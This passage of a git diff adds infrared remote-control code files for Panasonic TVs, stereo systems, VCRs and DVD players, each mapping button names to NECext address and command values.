+protocol: NECext +address: 80 01 00 00 +command: 1C 00 00 00 +# +name: TELETEXT_LIST +type: parsed +protocol: NECext +address: 80 01 00 00 +command: 1D 00 00 00 +# +name: TELETEXT_RESET +type: parsed +protocol: NECext +address: 80 01 00 00 +command: 1E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/TV/128,4.ir b/assets/resources/infrared/_CSV-IRDB_/Panasonic/TV/128,4.ir new file mode 100644 index 000000000..5fabcb48f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Panasonic/TV/128,4.ir @@ -0,0 +1,80 @@ +Filetype: IR signals file +Version: 1 +# +name: INPUT_COMPONENT_1 +type: parsed +protocol: NECext +address: 80 04 00 00 +command: 7C 00 00 00 +# +name: INPUT_COMPONENT_2 +type: parsed +protocol: NECext +address: 80 04 00 00 +command: 7D 00 00 00 +# +name: INPUT_HDMI_1 +type: parsed +protocol: NECext +address: 80 04 00 00 +command: B0 00 00 00 +# +name: INPUT_HDMI_2 +type: parsed +protocol: NECext +address: 80 04 00 00 +command: B1 00 00 00 +# +name: INPUT_HDMI_3 +type: parsed +protocol: NECext +address: 80 04 00 00 +command: B2 00 00 00 +# +name: INPUT_HDMI_4 +type: parsed +protocol: NECext +address: 80 04 00 00 +command: B3 00 00 00 +# +name: ASPECT_NORMAL +type: parsed +protocol: NECext +address: 80 04 00 00 +command: C7 00 00 00 +# +name: ASPECT_ZOOM +type: parsed +protocol: NECext +address: 80 04 00 00 +command: C9 00 00 00 +# +name: ASPECT_JUST +type: parsed +protocol: NECext +address: 80 04 00 00 +command: CB 00 00 00 +# +name: ASPECT_AUTO +type: parsed +protocol: NECext +address: 80 04 00 00 +command: CC 00 00 00 +# +name: ASPECT_FULL +type: parsed +protocol: NECext +address: 80 04 00 00 +command: D1 00 00 00 +# +name: ASPECT_SELECT/SCROLL +type: parsed +protocol: NECext +address: 80 04 00 00 +command: DE 00 00 00 +# +name: PIP_POSITION +type: parsed +protocol: NECext +address: 80 04 00 00 +command: E5 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/TV/128,9.ir b/assets/resources/infrared/_CSV-IRDB_/Panasonic/TV/128,9.ir new file mode 100644 index 000000000..57bbaf0b2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Panasonic/TV/128,9.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: GUIDE +type: parsed +protocol: NECext +address: 80 09 00 00 +command: 87 00 00 00 +# +name: LIST +type: parsed +protocol: NECext +address: 80 09 00 00 +command: 88 00 00 00 +# +name: APPS +type: parsed +protocol: NECext +address: 80 09 00 00 +command: 8F 00 00 00 +# +name: VIERA_CAST_/_INTERNET +type: parsed +protocol: NECext +address: 80 09 00 00 +command: 93 00 00 00 +# +name: MENU_HOME +type: parsed +protocol: NECext +address: 80 09 00 00 +command: 95 00 00 00 +# +name: MENU_SUB_/_OPTION +type: parsed +protocol: NECext +address: 80 09 00 00 +command: A7 00 00 00 +# +name: SD_CARD_/_USB_/_MEDIA_PLAYER +type: parsed +protocol: NECext +address: 80 09 00 00 +command: AB 00 00 00 +# +name: FAVORITE_CHANNEL +type: parsed +protocol: NECext +address: 80 09 00 00 +command: AE 00 00 00 +# +name: VIERA_LINK +type: parsed +protocol: NECext +address: 80 09 00 00 +command: B1 00 00 00 +# +name: IPOD +type: parsed +protocol: NECext +address: 80 09 00 00 +command: B4 00 00 00 +# +name: 3D +type: parsed +protocol: NECext +address: 80 09 00 00 +command: B7 00 00 00 +# +name: USB +type: parsed +protocol: NECext +address: 80 09 00 00 +command: B8 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 80 09 00 00 +command: C1 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 80 09 00 00 +command: C0 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 80 09 00 00 +command: C2 00 00 00 +# +name: FAST_FORWARD +type: parsed +protocol: NECext +address: 80 09 00 00 +command: C3 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 80 09 00 00 +command: C4 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 80 09 00 00 +command: C5 00 00 00 +# +name: INPUT_ANTENNA_A +type: parsed +protocol: NECext +address: 80 09 00 00 +command: CD 00 00 00 +# +name: INPUT_ANTENNA_B +type: parsed +protocol: NECext +address: 80 09 00 00 +command: CE 00 00 00 +# +name: SD_RECORD +type: parsed +protocol: NECext +address: 80 09 00 00 +command: D5 00 00 00 +# +name: PREVIOUS +type: parsed +protocol: NECext +address: 80 09 00 00 +command: DC 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 80 09 00 00 +command: DD 00 00 00 +# +name: NETFLIX +type: parsed +protocol: NECext +address: 80 09 00 00 +command: F2 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_CARC60EX/129,106.ir b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_CARC60EX/129,106.ir new file mode 100644 index 000000000..d3f62e439 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_CARC60EX/129,106.ir @@ -0,0 +1,50 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 81 6A 00 00 +command: 12 00 00 00 +# +name: ATT +type: parsed +protocol: NECext +address: 81 6A 00 00 +command: 14 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 81 6A 00 00 +command: 19 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 81 6A 00 00 +command: 1A 00 00 00 +# +name: PRG +type: parsed +protocol: NECext +address: 81 6A 00 00 +command: 1C 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 81 6A 00 00 +command: 1D 00 00 00 +# +name: Tune/Track_Down +type: parsed +protocol: NECext +address: 81 6A 00 00 +command: 1E 00 00 00 +# +name: Tune/Track_Up +type: parsed +protocol: NECext +address: 81 6A 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_EUR57510/144,0.ir b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_EUR57510/144,0.ir new file mode 100644 index 000000000..072908655 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_EUR57510/144,0.ir @@ -0,0 +1,68 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 00 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 02 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 03 00 00 00 +# +name: PAUSE/STILL +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 06 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 08 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 0A 00 00 00 +# +name: STILL_ADV +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 0C 00 00 00 +# +name: OPERATE +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 3D 00 00 00 +# +name: TRACKING_AUTO +type: parsed +protocol: NECext +address: 90 00 00 00 +command: B0 00 00 00 +# +name: TRACKING+ +type: parsed +protocol: NECext +address: 90 00 00 00 +command: B1 00 00 00 +# +name: TRACKING- +type: parsed +protocol: NECext +address: 90 00 00 00 +command: B2 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_EUR642162/160,194.ir b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_EUR642162/160,194.ir new file mode 100644 index 000000000..5986b7186 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_EUR642162/160,194.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: stop-clear +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 80 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 81 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 84 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 85 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 87 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 8B 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 8D 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 90 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 91 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 92 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 93 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 94 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 95 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 96 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 97 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 98 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 99 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 9F 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: AC 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: B0 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: B1 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: B6 00 00 00 +# +name: tuner-band +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: B8 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: BF 00 00 00 +# +name: xbs +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: D6 00 00 00 +# +name: fm-mode +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: E4 00 00 00 +# +name: tuning+ +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: E9 00 00 00 +# +name: tuning- +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: EA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_EUR642195/160,194.ir b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_EUR642195/160,194.ir new file mode 100644 index 000000000..86fb8b353 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_EUR642195/160,194.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: cd_stop +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 80 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 81 00 00 00 +# +name: random +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 82 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 84 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 85 00 00 00 +# +name: cd_play +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 87 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 8B 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 8D 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 8F 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 90 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 91 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 92 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 93 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 94 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 95 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 96 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 97 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 98 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 9F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 9F 00 00 00 +# +name: tape_stop +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: A0 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: A2 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: A3 00 00 00 +# +name: tape_record +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: A4 00 00 00 +# +name: tape_play +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: A6 00 00 00 +# +name: rev_mode +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: AE 00 00 00 +# +name: counter_reset +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: AF 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: B0 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: B1 00 00 00 +# +name: tuner_band +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: B8 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: BC 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: BF 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: BF 00 00 00 +# +name: preset_eq +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: D9 00 00 00 +# +name: st-mono +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: E4 00 00 00 +# +name: tuning+ +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: E9 00 00 00 +# +name: tuning- +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: EA 00 00 00 +# +name: bp +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: EF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_EUR643820/160,194.ir b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_EUR643820/160,194.ir new file mode 100644 index 000000000..d2a967cd8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_EUR643820/160,194.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: CD_CLEAR +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 80 00 00 00 +# +name: CD_REPEAT +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 81 00 00 00 +# +name: CD_RANDOM +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 82 00 00 00 +# +name: CD_PREV +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 84 00 00 00 +# +name: CD_NEXT +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 85 00 00 00 +# +name: CD_PLAY +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 87 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 8B 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 8D 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 8F 00 00 00 +# +name: TAPE_STOP +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: A0 00 00 00 +# +name: TAPE_REWIND +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: A2 00 00 00 +# +name: TAPE_FORWARD +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: A3 00 00 00 +# +name: TAPE_RECORD +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: A4 00 00 00 +# +name: TAPE_PLAY_REWIND +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: A5 00 00 00 +# +name: TAPE_PLAY_FORWARD +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: A6 00 00 00 +# +name: TAPE_DECK +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: AD 00 00 00 +# +name: TAPE_REV_MODE +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: AE 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: B0 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: B1 00 00 00 +# +name: TUNER_BAND +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: B8 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: BC 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: BF 00 00 00 +# +name: TUNER_PRESET_TUNE_UP +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: E7 00 00 00 +# +name: TUNER_PRESET_TUNE_DOWN +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: E8 00 00 00 +# +name: TUNER_TUNING_UP +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: E9 00 00 00 +# +name: TUNER_TUNING_DOWN +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: EA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_EUR643826/160,194.ir b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_EUR643826/160,194.ir new file mode 100644 index 000000000..5b8830029 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_EUR643826/160,194.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: cdstop +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 80 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 81 00 00 00 +# +name: random +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 82 00 00 00 +# +name: cdhome +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 84 00 00 00 +# +name: cdend +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 85 00 00 00 +# +name: cdplaypause +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 87 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: 8F 00 00 00 +# +name: tapestop +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: A0 00 00 00 +# +name: taperew +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: A2 00 00 00 +# +name: tapeff +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: A3 00 00 00 +# +name: tapeplay +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: A6 00 00 00 +# +name: deck12 +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: AD 00 00 00 +# +name: revmode +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: AE 00 00 00 +# +name: creset +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: AF 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: B0 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: B1 00 00 00 +# +name: band +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: B8 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: BC 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: BF 00 00 00 +# +name: preseteq +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: D9 00 00 00 +# +name: virtualizer +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: DA 00 00 00 +# +name: stmonobp +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: E4 00 00 00 +# +name: tune +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: E7 00 00 00 +# +name: preset +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: E8 00 00 00 +# +name: panelopen +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: F4 00 00 00 +# +name: panelclose +type: parsed +protocol: NECext +address: A0 C2 00 00 +command: F5 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_EUR7617010/176,0.ir b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_EUR7617010/176,0.ir new file mode 100644 index 000000000..db460b3d0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_EUR7617010/176,0.ir @@ -0,0 +1,296 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 00 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 01 00 00 00 +# +name: RWD +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 04 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 05 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 06 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 0A 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 10 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 11 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 12 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 13 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 14 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 15 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 16 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 17 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 18 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 19 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 33 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 3D 00 00 00 +# +name: POSITION_MEMORY +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 46 00 00 00 +# +name: A-B_REPEAT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 48 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 49 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 4A 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 4D 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 80 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 81 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 82 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 83 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 85 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 86 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 87 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 88 00 00 00 +# +name: >=10 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 89 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 8A 00 00 00 +# +name: QUICK_REPLAY +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 8B 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 8C 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 8D 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 90 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 91 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 92 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 94 00 00 00 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 9B 00 00 00 +# +name: A.SRD +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 9E 00 00 00 +# +name: CINEMA +type: parsed +protocol: NECext +address: B0 00 00 00 +command: C0 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: B0 00 00 00 +command: C1 00 00 00 +# +name: BASS +type: parsed +protocol: NECext +address: B0 00 00 00 +command: D4 00 00 00 +# +name: D.ENH +type: parsed +protocol: NECext +address: B0 00 00 00 +command: D5 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: B0 00 00 00 +command: D6 00 00 00 +# +name: GROUP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: E0 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: EB 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_EUR7621010/176,0.ir b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_EUR7621010/176,0.ir new file mode 100644 index 000000000..5432416b4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Panasonic/Unknown_EUR7621010/176,0.ir @@ -0,0 +1,266 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 00 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 01 00 00 00 +# +name: REV +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 04 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 05 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 06 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 0A 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 10 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 11 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 12 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 13 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 14 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 15 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 16 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 17 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 18 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 19 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 33 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 3D 00 00 00 +# +name: POSITION_MEMORY +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 46 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 49 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 4A 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 80 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 81 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 82 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 83 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 85 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 86 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 87 00 00 00 +# +name: KEY_RIGHT +type: parsed 